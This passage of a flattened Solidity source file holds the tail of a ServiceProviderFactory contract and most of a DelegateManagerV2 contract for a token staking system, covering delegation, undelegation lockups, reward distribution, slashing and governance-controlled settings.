serviceProviderInfo[_serviceType][_serviceId]; return ( serviceEndpoint.owner, serviceEndpoint.endpoint, serviceEndpoint.blocknumber, serviceEndpoint.delegateOwnerWallet ); } /** * @notice Get information about a service provider given their address * @param _serviceProvider - address of service provider */ function getServiceProviderDetails(address _serviceProvider) external view returns ( uint256 deployerStake, uint256 deployerCut, bool validBounds, uint256 numberOfEndpoints, uint256 minAccountStake, uint256 maxAccountStake) { _requireIsInitialized(); return ( spDetails[_serviceProvider].deployerStake, spDetails[_serviceProvider].deployerCut, spDetails[_serviceProvider].validBounds, spDetails[_serviceProvider].numberOfEndpoints, spDetails[_serviceProvider].minAccountStake, spDetails[_serviceProvider].maxAccountStake ); } /** * @notice Get information about pending decrease stake requests for service provider * @param _serviceProvider - address of service provider */ function getPendingDecreaseStakeRequest(address _serviceProvider) external view returns (uint256 amount, uint256 lockupExpiryBlock) { _requireIsInitialized(); return ( decreaseStakeRequests[_serviceProvider].decreaseAmount, decreaseStakeRequests[_serviceProvider].lockupExpiryBlock ); } /** * @notice Get information about pending decrease stake requests for service provider * @param _serviceProvider - address of service provider */ function getPendingUpdateDeployerCutRequest(address _serviceProvider) external view returns (uint256 newDeployerCut, uint256 lockupExpiryBlock) { _requireIsInitialized(); return ( updateDeployerCutRequests[_serviceProvider].newDeployerCut, updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock ); } /// @notice Get current unstake lockup duration function getDecreaseStakeLockupDuration() external view returns (uint256) { _requireIsInitialized(); return decreaseStakeLockupDuration; } /** * @notice Validate that the total service provider balance is between the min and max stakes for all their registered services and validate direct stake for sp is above minimum * @param _serviceProvider - address of service provider */ function validateAccountStakeBalance(address _serviceProvider) external view { _requireIsInitialized(); _requireStakingAddressIsSet(); _validateBalanceInternal( _serviceProvider, Staking(stakingAddress).totalStakedFor(_serviceProvider) ); } /// @notice Get the Governance address function getGovernanceAddress() external view returns (address) { _requireIsInitialized(); return governanceAddress; } /// @notice Get the Staking address function getStakingAddress() external view returns (address) { _requireIsInitialized(); return stakingAddress; } /// @notice Get the DelegateManager address function getDelegateManagerAddress() external view returns (address) { _requireIsInitialized(); return delegateManagerAddress; } /// @notice Get the ServiceTypeManager address function getServiceTypeManagerAddress() external view returns (address) { _requireIsInitialized(); return serviceTypeManagerAddress; } /// @notice Get the ClaimsManager address function getClaimsManagerAddress() external view returns (address) { _requireIsInitialized(); return claimsManagerAddress; } /** * @notice Set the Governance address * @dev Only callable by Governance address * @param _governanceAddress - address for new Governance contract */ function setGovernanceAddress(address _governanceAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateGovernanceAddress(_governanceAddress); emit GovernanceAddressUpdated(_governanceAddress); } /** * @notice Set the Staking address * @dev Only callable by Governance address * @param _address - address for new Staking contract */ function setStakingAddress(address _address) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); stakingAddress = _address; emit StakingAddressUpdated(_address); } /** * @notice Set the DelegateManager address * @dev Only callable by Governance address * @param _address - address for new DelegateManager contract */ function setDelegateManagerAddress(address _address) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); delegateManagerAddress = _address; emit DelegateManagerAddressUpdated(_address); } /** * @notice Set the ServiceTypeManager address * @dev Only callable by Governance address * @param _address - address for new ServiceTypeManager contract */ function setServiceTypeManagerAddress(address _address) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); serviceTypeManagerAddress = _address; emit ServiceTypeManagerAddressUpdated(_address); } /** * @notice Set the ClaimsManager address * @dev Only callable by Governance address * @param _address - address for new ClaimsManager contract */ function setClaimsManagerAddress(address _address) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); claimsManagerAddress = _address; emit ClaimsManagerAddressUpdated(_address); } // ========================================= Internal Functions ========================================= /** * @notice Update status in spDetails if the bounds for a service provider is valid */ function _updateServiceProviderBoundStatus(address _serviceProvider) internal { // Validate bounds for total stake uint256 totalSPStake = Staking(stakingAddress).totalStakedFor(_serviceProvider); if (totalSPStake < spDetails[_serviceProvider].minAccountStake || totalSPStake > spDetails[_serviceProvider].maxAccountStake) { // Indicate this service provider is out of bounds spDetails[_serviceProvider].validBounds = false; } else { // Indicate this service provider is within bounds spDetails[_serviceProvider].validBounds = true; } } /** * @notice Set the governance address after confirming contract identity * @param _governanceAddress - Incoming governance address */ function _updateGovernanceAddress(address _governanceAddress) internal { require( Governance(_governanceAddress).isGovernanceAddress() == true, "ServiceProviderFactory: _governanceAddress is not a valid governance contract" ); governanceAddress = _governanceAddress; } /** * @notice Set the deployer cut lockup duration * @param _duration - incoming duration */ function _updateDeployerCutLockupDuration(uint256 _duration) internal { require( ClaimsManager(claimsManagerAddress).getFundingRoundBlockDiff() < _duration, "ServiceProviderFactory: Incoming duration must be greater than funding round block diff" ); deployerCutLockupDuration = _duration; } /** * @notice Set the decrease stake lockup duration * @param _duration - incoming duration */ function _updateDecreaseStakeLockupDuration(uint256 _duration) internal { Governance governance = Governance(governanceAddress); require( _duration > governance.getVotingPeriod() + governance.getExecutionDelay(), "ServiceProviderFactory: decreaseStakeLockupDuration duration must be greater than governance votingPeriod + executionDelay" ); decreaseStakeLockupDuration = _duration; } /** * @notice Compare a given amount input against valid min and max bounds for service provider * @param _serviceProvider - address of service provider * @param _amount - amount in wei to compare */ function _validateBalanceInternal(address _serviceProvider, uint256 _amount) internal view { require( _amount <= spDetails[_serviceProvider].maxAccountStake, "ServiceProviderFactory: Maximum stake amount exceeded" ); require( spDetails[_serviceProvider].deployerStake >= spDetails[_serviceProvider].minAccountStake, "ServiceProviderFactory: Minimum stake requirement not met" ); } /** * @notice Get whether a decrease request has been initiated for service provider * @param _serviceProvider - address of service provider * return Boolean of whether decrease request has been initiated */ function _decreaseRequestIsPending(address _serviceProvider) internal view returns (bool) { return ( (decreaseStakeRequests[_serviceProvider].lockupExpiryBlock > 0) && (decreaseStakeRequests[_serviceProvider].decreaseAmount > 0) ); } /** * @notice Boolean indicating whether a claim is pending for this service provider */ /** * @notice Get whether a claim is pending for this service provider * @param _serviceProvider - address of service provider * return Boolean of whether claim is pending */ function _claimPending(address _serviceProvider) internal view returns (bool) { return ClaimsManager(claimsManagerAddress).claimPending(_serviceProvider); } // ========================================= Private Functions ========================================= function _requirePendingDeployerCutOperation (address _serviceProvider) private view { require( (updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock != 0), "ServiceProviderFactory: No update deployer cut operation pending" ); } function _requireStakingAddressIsSet() private view { require( stakingAddress != address(0x00), "ServiceProviderFactory: stakingAddress is not set" ); } function _requireDelegateManagerAddressIsSet() private view { require( delegateManagerAddress != address(0x00), "ServiceProviderFactory: delegateManagerAddress is not set" ); } function _requireServiceTypeManagerAddressIsSet() private view { require( serviceTypeManagerAddress != address(0x00), "ServiceProviderFactory: serviceTypeManagerAddress is not set" ); } function _requireClaimsManagerAddressIsSet() private view { require( claimsManagerAddress != address(0x00), "ServiceProviderFactory: claimsManagerAddress is not set" ); } } // File: contracts/DelegateManager.sol pragma solidity ^0.5.0; /// @notice SafeMath imported via ServiceProviderFactory.sol /// @notice Governance imported via Staking.sol /** * Designed to manage delegation to staking contract */ contract DelegateManagerV2 is InitializableV2 { using SafeMath for uint256; string private constant ERROR_ONLY_GOVERNANCE = ( "DelegateManager: Only callable by Governance contract" ); string private constant ERROR_MINIMUM_DELEGATION = ( "DelegateManager: Minimum delegation amount required" ); string private constant ERROR_ONLY_SP_GOVERNANCE = ( "DelegateManager: Only callable by target SP or governance" ); string private constant ERROR_DELEGATOR_STAKE = ( "DelegateManager: Delegator must be staked for SP" ); address private governanceAddress; address private stakingAddress; address private serviceProviderFactoryAddress; address private claimsManagerAddress; /** * Period in blocks an undelegate operation is delayed. * The undelegate operation speed bump is to prevent a delegator from * attempting to remove their delegation in anticipation of a slash. * @notice Must be greater than governance votingPeriod + executionDelay */ uint256 private undelegateLockupDuration; /// @notice Maximum number of delegators a single account can handle uint256 private maxDelegators; /// @notice Minimum amount of delegation allowed uint256 private minDelegationAmount; /** * Lockup duration for a remove delegator request. * The remove delegator speed bump is to prevent a service provider from maliciously * removing a delegator prior to the evaluation of a proposal. * @notice Must be greater than governance votingPeriod + executionDelay */ uint256 private removeDelegatorLockupDuration; /** * Evaluation period for a remove delegator request * @notice added to expiry block calculated for removeDelegatorLockupDuration */ uint256 private removeDelegatorEvalDuration; // Staking contract ref ERC20Mintable private audiusToken; // Struct representing total delegated to SP and list of delegators struct ServiceProviderDelegateInfo { uint256 totalDelegatedStake; uint256 totalLockedUpStake; address[] delegators; } // Data structures for lockup during withdrawal struct UndelegateStakeRequest { address serviceProvider; uint256 amount; uint256 lockupExpiryBlock; } // Service provider address -> ServiceProviderDelegateInfo mapping (address => ServiceProviderDelegateInfo) private spDelegateInfo; // Delegator stake by address delegated to // delegator -> (service provider -> delegatedStake) mapping (address => mapping(address => uint256)) private delegateInfo; // Delegator stake total by address // delegator -> (totalDelegated) // Note - delegator properties are maintained in a mapping instead of struct // in order to facilitate extensibility in the future. mapping (address => uint256) private delegatorTotalStake; // Requester to pending undelegate request mapping (address => UndelegateStakeRequest) private undelegateRequests; // Pending remove delegator requests // service provider -> (delegator -> lockupExpiryBlock) mapping (address => mapping (address => uint256)) private removeDelegatorRequests; event IncreaseDelegatedStake( address indexed _delegator, address indexed _serviceProvider, uint256 indexed _increaseAmount ); event UndelegateStakeRequested( address indexed _delegator, address indexed _serviceProvider, uint256 indexed _amount, uint256 _lockupExpiryBlock ); event UndelegateStakeRequestCancelled( address indexed _delegator, address indexed _serviceProvider, uint256 indexed _amount ); event UndelegateStakeRequestEvaluated( address indexed _delegator, address indexed _serviceProvider, uint256 indexed _amount ); event Claim( address indexed _claimer, uint256 indexed _rewards, uint256 indexed _newTotal ); event Slash( address indexed _target, uint256 indexed _amount, uint256 indexed _newTotal ); event RemoveDelegatorRequested( address indexed _serviceProvider, address indexed _delegator, uint256 indexed _lockupExpiryBlock ); event RemoveDelegatorRequestCancelled( address indexed _serviceProvider, address indexed _delegator ); event RemoveDelegatorRequestEvaluated( address indexed _serviceProvider, address indexed _delegator, uint256 indexed _unstakedAmount ); event MaxDelegatorsUpdated(uint256 indexed _maxDelegators); event MinDelegationUpdated(uint256 indexed _minDelegationAmount); event UndelegateLockupDurationUpdated(uint256 indexed _undelegateLockupDuration); event GovernanceAddressUpdated(address indexed _newGovernanceAddress); event StakingAddressUpdated(address indexed _newStakingAddress); event ServiceProviderFactoryAddressUpdated(address indexed _newServiceProviderFactoryAddress); event ClaimsManagerAddressUpdated(address indexed _newClaimsManagerAddress); event RemoveDelegatorLockupDurationUpdated(uint256 indexed _removeDelegatorLockupDuration); event RemoveDelegatorEvalDurationUpdated(uint256 indexed _removeDelegatorEvalDuration); // ========================================= New State Variables ========================================= string private constant ERROR_ONLY_SERVICE_PROVIDER = ( "DelegateManager: Only callable by valid Service Provider" ); // minDelegationAmount per service provider mapping (address => uint256) private spMinDelegationAmounts; event SPMinDelegationAmountUpdated( address indexed _serviceProvider, uint256 indexed _spMinDelegationAmount ); // ========================================= Modifier Functions ========================================= /** * @notice Function to initialize the contract * @dev stakingAddress must be initialized separately after Staking contract is deployed * @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed * @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed * @param _tokenAddress - address of ERC20 token that will be claimed * @param _governanceAddress - Governance proxy address */ function initialize ( address _tokenAddress, address _governanceAddress, uint256 _undelegateLockupDuration ) public initializer { _updateGovernanceAddress(_governanceAddress); audiusToken = ERC20Mintable(_tokenAddress); maxDelegators = 175; // Default minimum delegation amount set to 100AUD minDelegationAmount = 100 * 10**uint256(18); InitializableV2.initialize(); _updateUndelegateLockupDuration(_undelegateLockupDuration); // 1 week = 168hrs * 60 min/hr * 60 sec/min / ~13 sec/block = 46523 blocks _updateRemoveDelegatorLockupDuration(46523); // 24hr * 60min/hr * 60sec/min / ~13 sec/block = 6646 blocks removeDelegatorEvalDuration = 6646; } /** * @notice Allow a delegator to delegate stake to a service provider * @param _targetSP - address of service provider to delegate to * @param _amount - amount in wei to delegate * @return Updated total amount delegated to the service provider by delegator */ function delegateStake( address _targetSP, uint256 _amount ) external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireClaimsManagerAddressIsSet(); require( !_claimPending(_targetSP), "DelegateManager: Delegation not permitted for SP pending claim" ); address delegator = msg.sender; Staking stakingContract = Staking(stakingAddress); // Stake on behalf of target service provider stakingContract.delegateStakeFor( _targetSP, delegator, _amount ); // Update list of delegators to SP if necessary if (!_delegatorExistsForSP(delegator, _targetSP)) { // If not found, update list of delegates spDelegateInfo[_targetSP].delegators.push(delegator); require( spDelegateInfo[_targetSP].delegators.length <= maxDelegators, "DelegateManager: Maximum delegators exceeded" ); } // Update following values in storage through helper // totalServiceProviderDelegatedStake = current sp total + new amount, // totalStakedForSpFromDelegator = current delegator total for sp + new amount, // totalDelegatorStake = current delegator total + new amount _updateDelegatorStake( delegator, _targetSP, spDelegateInfo[_targetSP].totalDelegatedStake.add(_amount), delegateInfo[delegator][_targetSP].add(_amount), delegatorTotalStake[delegator].add(_amount) ); // Need to ensure delegationAmount is >= both minDelegationAmount and spMinDelegationAmount // since spMinDelegationAmount by default is 0 require( (delegateInfo[delegator][_targetSP] >= minDelegationAmount && delegateInfo[delegator][_targetSP] >= spMinDelegationAmounts[_targetSP] ), ERROR_MINIMUM_DELEGATION ); // Validate balance ServiceProviderFactory( serviceProviderFactoryAddress ).validateAccountStakeBalance(_targetSP); emit IncreaseDelegatedStake( delegator, _targetSP, _amount ); // Return new total return delegateInfo[delegator][_targetSP]; } /** * @notice Submit request for undelegation * @param _target - address of service provider to undelegate stake from * @param _amount - amount in wei to undelegate * @return Updated total amount delegated to the service provider by delegator */ function requestUndelegateStake( address _target, uint256 _amount ) external returns (uint256) { _requireIsInitialized(); _requireClaimsManagerAddressIsSet(); require( _amount > 0, "DelegateManager: Requested undelegate stake amount must be greater than zero" ); require( !_claimPending(_target), "DelegateManager: Undelegate request not permitted for SP pending claim" ); address delegator = msg.sender; require( _delegatorExistsForSP(delegator, _target), ERROR_DELEGATOR_STAKE ); // Confirm no pending delegation request require( !_undelegateRequestIsPending(delegator), "DelegateManager: No pending lockup expected" ); // Ensure valid bounds uint256 currentlyDelegatedToSP = delegateInfo[delegator][_target]; require( _amount <= currentlyDelegatedToSP, "DelegateManager: Cannot decrease greater than currently staked for this ServiceProvider" ); // Submit updated request for sender, with target sp, undelegate amount, target expiry block uint256 lockupExpiryBlock = block.number.add(undelegateLockupDuration); _updateUndelegateStakeRequest( delegator, _target, _amount, lockupExpiryBlock ); // Update total locked for this service provider, increasing by unstake amount _updateServiceProviderLockupAmount( _target, spDelegateInfo[_target].totalLockedUpStake.add(_amount) ); emit UndelegateStakeRequested(delegator, _target, _amount, lockupExpiryBlock); return delegateInfo[delegator][_target].sub(_amount); } /** * @notice Cancel undelegation request */ function cancelUndelegateStakeRequest() external { _requireIsInitialized(); address delegator = msg.sender; // Confirm pending delegation request require( _undelegateRequestIsPending(delegator), "DelegateManager: Pending lockup expected" ); uint256 unstakeAmount = undelegateRequests[delegator].amount; address unlockFundsSP = undelegateRequests[delegator].serviceProvider; // Update total locked for this service provider, decreasing by unstake amount _updateServiceProviderLockupAmount( unlockFundsSP, spDelegateInfo[unlockFundsSP].totalLockedUpStake.sub(unstakeAmount) ); // Remove pending request _resetUndelegateStakeRequest(delegator); emit UndelegateStakeRequestCancelled(delegator, unlockFundsSP, unstakeAmount); } /** * @notice Finalize undelegation request and withdraw stake * @return New total amount currently staked after stake has been undelegated */ function undelegateStake() external returns (uint256) { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireClaimsManagerAddressIsSet(); address delegator = msg.sender; // Confirm pending delegation request require( _undelegateRequestIsPending(delegator), "DelegateManager: Pending lockup expected" ); // Confirm lockup expiry has expired require( undelegateRequests[delegator].lockupExpiryBlock <= block.number, "DelegateManager: Lockup must be expired" ); // Confirm no pending claim for this service provider require( !_claimPending(undelegateRequests[delegator].serviceProvider), "DelegateManager: Undelegate not permitted for SP pending claim" ); address serviceProvider = undelegateRequests[delegator].serviceProvider; uint256 unstakeAmount = undelegateRequests[delegator].amount; // Unstake on behalf of target service provider Staking(stakingAddress).undelegateStakeFor( serviceProvider, delegator, unstakeAmount ); // Update total delegated for SP // totalServiceProviderDelegatedStake - total amount delegated to service provider // totalStakedForSpFromDelegator - amount staked from this delegator to targeted service provider _updateDelegatorStake( delegator, serviceProvider, spDelegateInfo[serviceProvider].totalDelegatedStake.sub(unstakeAmount), delegateInfo[delegator][serviceProvider].sub(unstakeAmount), delegatorTotalStake[delegator].sub(unstakeAmount) ); // Need to ensure delegationAmount is >= both minDelegationAmount and spMinDelegationAmount // since spMinDelegationAmount by default is 0 // Only exception is when delegating entire stake down to 0 require( ( delegateInfo[delegator][serviceProvider] >= minDelegationAmount && delegateInfo[delegator][serviceProvider] >= spMinDelegationAmounts[serviceProvider] ) || delegateInfo[delegator][serviceProvider] == 0, ERROR_MINIMUM_DELEGATION ); // Remove from delegators list if no delegated stake remaining if (delegateInfo[delegator][serviceProvider] == 0) { _removeFromDelegatorsList(serviceProvider, delegator); } // Update total locked for this service provider, decreasing by unstake amount _updateServiceProviderLockupAmount( serviceProvider, spDelegateInfo[serviceProvider].totalLockedUpStake.sub(unstakeAmount) ); // Reset undelegate request _resetUndelegateStakeRequest(delegator); emit UndelegateStakeRequestEvaluated( delegator, serviceProvider, unstakeAmount ); // Need to update service provider's `validBounds` flag // Only way to do this is through `SPFactory.updateServiceProviderStake()` // So we call it with the existing `spDeployerStake` (uint256 spDeployerStake,,,,,) = ( ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(serviceProvider) ); ServiceProviderFactory(serviceProviderFactoryAddress).updateServiceProviderStake( serviceProvider, spDeployerStake ); // Return new total return delegateInfo[delegator][serviceProvider]; } /** * @notice Claim and distribute rewards to delegators and service provider as necessary * @param _serviceProvider - Provider for which rewards are being distributed * @dev Factors in service provider rewards from delegator and transfers deployer cut */ function claimRewards(address _serviceProvider) external { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); _requireClaimsManagerAddressIsSet(); ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress); // Total rewards = (balance in staking) - ((balance in sp factory) + (balance in delegate manager)) ( uint256 totalBalanceInStaking, uint256 totalBalanceInSPFactory, uint256 totalActiveFunds, uint256 totalRewards, uint256 deployerCut ) = _validateClaimRewards(spFactory, _serviceProvider); // No-op if balance is already equivalent // This case can occur if no rewards due to bound violation or all stake is locked if (totalRewards == 0) { return; } uint256 totalDelegatedStakeIncrease = _distributeDelegateRewards( _serviceProvider, totalActiveFunds, totalRewards, deployerCut, spFactory.getServiceProviderDeployerCutBase() ); // Update total delegated to this SP spDelegateInfo[_serviceProvider].totalDelegatedStake = ( spDelegateInfo[_serviceProvider].totalDelegatedStake.add(totalDelegatedStakeIncrease) ); // spRewardShare represents rewards directly allocated to service provider for their stake // Value is computed as the remainder of total minted rewards after distribution to // delegators, eliminating any potential for precision loss. uint256 spRewardShare = totalRewards.sub(totalDelegatedStakeIncrease); // Adding the newly calculated reward share to current balance uint256 newSPFactoryBalance = totalBalanceInSPFactory.add(spRewardShare); require( totalBalanceInStaking == newSPFactoryBalance.add(spDelegateInfo[_serviceProvider].totalDelegatedStake), "DelegateManager: claimRewards amount mismatch" ); spFactory.updateServiceProviderStake( _serviceProvider, newSPFactoryBalance ); } /** * @notice Reduce current stake amount * @dev Only callable by governance. Slashes service provider and delegators equally * @param _amount - amount in wei to slash * @param _slashAddress - address of service provider to slash */ function slash(uint256 _amount, address _slashAddress) external { _requireIsInitialized(); _requireStakingAddressIsSet(); _requireServiceProviderFactoryAddressIsSet(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); Staking stakingContract = Staking(stakingAddress); ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress); // Amount stored in staking contract for owner uint256 totalBalanceInStakingPreSlash = stakingContract.totalStakedFor(_slashAddress); require( (totalBalanceInStakingPreSlash >= _amount), "DelegateManager: Cannot slash more than total currently staked" ); // Cancel any withdrawal request for this service provider (uint256 spLockedStake,) = spFactory.getPendingDecreaseStakeRequest(_slashAddress); if (spLockedStake > 0) { spFactory.cancelDecreaseStakeRequest(_slashAddress); } // Amount in sp factory for slash target (uint256 totalBalanceInSPFactory,,,,,) = ( spFactory.getServiceProviderDetails(_slashAddress) ); require( totalBalanceInSPFactory > 0, "DelegateManager: Service Provider stake required" ); // Decrease value in Staking contract // A value of zero slash will fail in staking, reverting this transaction stakingContract.slash(_amount, _slashAddress); uint256 totalBalanceInStakingAfterSlash = stakingContract.totalStakedFor(_slashAddress); // Emit slash event emit Slash(_slashAddress, _amount, totalBalanceInStakingAfterSlash); uint256 totalDelegatedStakeDecrease = 0; // For each delegator and deployer, recalculate new value // newStakeAmount = newStakeAmount * (oldStakeAmount / totalBalancePreSlash) for (uint256 i = 0; i < spDelegateInfo[_slashAddress].delegators.length; i++) { address delegator = spDelegateInfo[_slashAddress].delegators[i]; uint256 preSlashDelegateStake = delegateInfo[delegator][_slashAddress]; uint256 newDelegateStake = ( totalBalanceInStakingAfterSlash.mul(preSlashDelegateStake) ).div(totalBalanceInStakingPreSlash); // slashAmountForDelegator = preSlashDelegateStake - newDelegateStake; delegateInfo[delegator][_slashAddress] = ( delegateInfo[delegator][_slashAddress].sub(preSlashDelegateStake.sub(newDelegateStake)) ); // Update total stake for delegator _updateDelegatorTotalStake( delegator, delegatorTotalStake[delegator].sub(preSlashDelegateStake.sub(newDelegateStake)) ); // Update total decrease amount totalDelegatedStakeDecrease = ( totalDelegatedStakeDecrease.add(preSlashDelegateStake.sub(newDelegateStake)) ); // Check for any locked up funds for this slashed delegator // Slash overrides any pending withdrawal requests if (undelegateRequests[delegator].amount != 0) { address unstakeSP = undelegateRequests[delegator].serviceProvider; uint256 unstakeAmount = undelegateRequests[delegator].amount; // Remove pending request _updateServiceProviderLockupAmount( unstakeSP, spDelegateInfo[unstakeSP].totalLockedUpStake.sub(unstakeAmount) ); _resetUndelegateStakeRequest(delegator); } } // Update total delegated to this SP spDelegateInfo[_slashAddress].totalDelegatedStake = ( spDelegateInfo[_slashAddress].totalDelegatedStake.sub(totalDelegatedStakeDecrease) ); // Remaining decrease applied to service provider uint256 totalStakeDecrease = ( totalBalanceInStakingPreSlash.sub(totalBalanceInStakingAfterSlash) ); uint256 totalSPFactoryBalanceDecrease = ( totalStakeDecrease.sub(totalDelegatedStakeDecrease) ); spFactory.updateServiceProviderStake( _slashAddress, totalBalanceInSPFactory.sub(totalSPFactoryBalanceDecrease) ); } /** * @notice Initiate forcible removal of a delegator * @param _serviceProvider - address of service provider * @param _delegator - address of delegator */ function requestRemoveDelegator(address _serviceProvider, address _delegator) external { _requireIsInitialized(); require( msg.sender == _serviceProvider || msg.sender == governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); require( removeDelegatorRequests[_serviceProvider][_delegator] == 0, "DelegateManager: Pending remove delegator request" ); require( _delegatorExistsForSP(_delegator, _serviceProvider), ERROR_DELEGATOR_STAKE ); // Update lockup removeDelegatorRequests[_serviceProvider][_delegator] = ( block.number + removeDelegatorLockupDuration ); emit RemoveDelegatorRequested( _serviceProvider, _delegator, removeDelegatorRequests[_serviceProvider][_delegator] ); } /** * @notice Cancel pending removeDelegator request * @param _serviceProvider - address of service provider * @param _delegator - address of delegator */ function cancelRemoveDelegatorRequest(address _serviceProvider, address _delegator) external { require( msg.sender == _serviceProvider || msg.sender == governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); require( removeDelegatorRequests[_serviceProvider][_delegator] != 0, "DelegateManager: No pending request" ); // Reset lockup expiry removeDelegatorRequests[_serviceProvider][_delegator] = 0; emit RemoveDelegatorRequestCancelled(_serviceProvider, _delegator); } /** * @notice Evaluate removeDelegator request * @param _serviceProvider - address of service provider * @param _delegator - address of delegator * @return Updated total amount delegated to the service provider by delegator */ function removeDelegator(address _serviceProvider, address _delegator) external { _requireIsInitialized(); _requireStakingAddressIsSet(); require( msg.sender == _serviceProvider || msg.sender == governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); require( removeDelegatorRequests[_serviceProvider][_delegator] != 0, "DelegateManager: No pending request" ); // Enforce lockup expiry block require( block.number >= removeDelegatorRequests[_serviceProvider][_delegator], "DelegateManager: Lockup must be expired" ); // Enforce evaluation window for request require( block.number < removeDelegatorRequests[_serviceProvider][_delegator] + removeDelegatorEvalDuration, "DelegateManager: RemoveDelegator evaluation window expired" ); uint256 unstakeAmount = delegateInfo[_delegator][_serviceProvider]; // Unstake on behalf of target service provider Staking(stakingAddress).undelegateStakeFor( _serviceProvider, _delegator, unstakeAmount ); // Update total delegated for SP // totalServiceProviderDelegatedStake - total amount delegated to service provider // totalStakedForSpFromDelegator - amount staked from this delegator to targeted service provider _updateDelegatorStake( _delegator, _serviceProvider, spDelegateInfo[_serviceProvider].totalDelegatedStake.sub(unstakeAmount), delegateInfo[_delegator][_serviceProvider].sub(unstakeAmount), delegatorTotalStake[_delegator].sub(unstakeAmount) ); if ( _undelegateRequestIsPending(_delegator) && undelegateRequests[_delegator].serviceProvider == _serviceProvider ) { // Remove pending request information _updateServiceProviderLockupAmount( _serviceProvider, spDelegateInfo[_serviceProvider].totalLockedUpStake.sub(undelegateRequests[_delegator].amount) ); _resetUndelegateStakeRequest(_delegator); } // Remove from list of delegators _removeFromDelegatorsList(_serviceProvider, _delegator); // Reset lockup expiry removeDelegatorRequests[_serviceProvider][_delegator] = 0; emit RemoveDelegatorRequestEvaluated(_serviceProvider, _delegator, unstakeAmount); } /** * @notice SP can update their minDelegationAmount * @param _serviceProvider - address of service provider * @param _spMinDelegationAmount - new minDelegationAmount for SP * @notice does not enforce _spMinDelegationAmount >= minDelegationAmount since not necessary * delegateStake() and undelegateStake() always take the max of both already */ function updateSPMinDelegationAmount( address _serviceProvider, uint256 _spMinDelegationAmount ) external { _requireIsInitialized(); require(msg.sender == _serviceProvider, ERROR_ONLY_SERVICE_PROVIDER); /** * Ensure _serviceProvider is a valid SP * No objective source of truth, closest heuristic is numEndpoints > 0 */ (,,, uint256 numEndpoints,,) = ( ServiceProviderFactory(serviceProviderFactoryAddress) .getServiceProviderDetails(_serviceProvider) ); require(numEndpoints > 0, ERROR_ONLY_SERVICE_PROVIDER); spMinDelegationAmounts[_serviceProvider] = _spMinDelegationAmount; emit SPMinDelegationAmountUpdated(_serviceProvider, _spMinDelegationAmount); } /** * @notice Update duration for undelegate request lockup * @param _duration - new lockup duration */ function updateUndelegateLockupDuration(uint256 _duration) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateUndelegateLockupDuration(_duration); emit UndelegateLockupDurationUpdated(_duration); } /** * @notice Update maximum delegators allowed * @param _maxDelegators - new max delegators */ function updateMaxDelegators(uint256 _maxDelegators) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); maxDelegators = _maxDelegators; emit MaxDelegatorsUpdated(_maxDelegators); } /** * @notice Update minimum delegation amount * @param _minDelegationAmount - min new min delegation amount */ function updateMinDelegationAmount(uint256 _minDelegationAmount) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); minDelegationAmount = _minDelegationAmount; emit MinDelegationUpdated(_minDelegationAmount); } /** * @notice Update remove delegator lockup duration * @param _duration - new lockup duration */ function updateRemoveDelegatorLockupDuration(uint256 _duration) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateRemoveDelegatorLockupDuration(_duration); emit RemoveDelegatorLockupDurationUpdated(_duration); } /** * @notice Update remove delegator evaluation window duration * @param _duration - new window duration */ function updateRemoveDelegatorEvalDuration(uint256 _duration) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); removeDelegatorEvalDuration = _duration; emit RemoveDelegatorEvalDurationUpdated(_duration); } /** * @notice Set the Governance address * @dev Only callable by Governance address * @param _governanceAddress - address for new Governance contract */ function setGovernanceAddress(address _governanceAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateGovernanceAddress(_governanceAddress); governanceAddress = _governanceAddress; emit GovernanceAddressUpdated(_governanceAddress); } /** * @notice Set the Staking address * @dev Only callable by Governance address * @param _stakingAddress - address for new Staking contract */ function setStakingAddress(address _stakingAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); stakingAddress = _stakingAddress; emit StakingAddressUpdated(_stakingAddress); } /** * @notice Set the ServiceProviderFactory address * @dev Only callable by Governance address * @param _spFactory - address for new ServiceProviderFactory contract */ function setServiceProviderFactoryAddress(address _spFactory) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); serviceProviderFactoryAddress = _spFactory; emit ServiceProviderFactoryAddressUpdated(_spFactory); } /** * @notice Set the ClaimsManager address * @dev Only callable by Governance address * @param _claimsManagerAddress - address for new ClaimsManager contract */ function setClaimsManagerAddress(address _claimsManagerAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); claimsManagerAddress = _claimsManagerAddress; emit ClaimsManagerAddressUpdated(_claimsManagerAddress); } 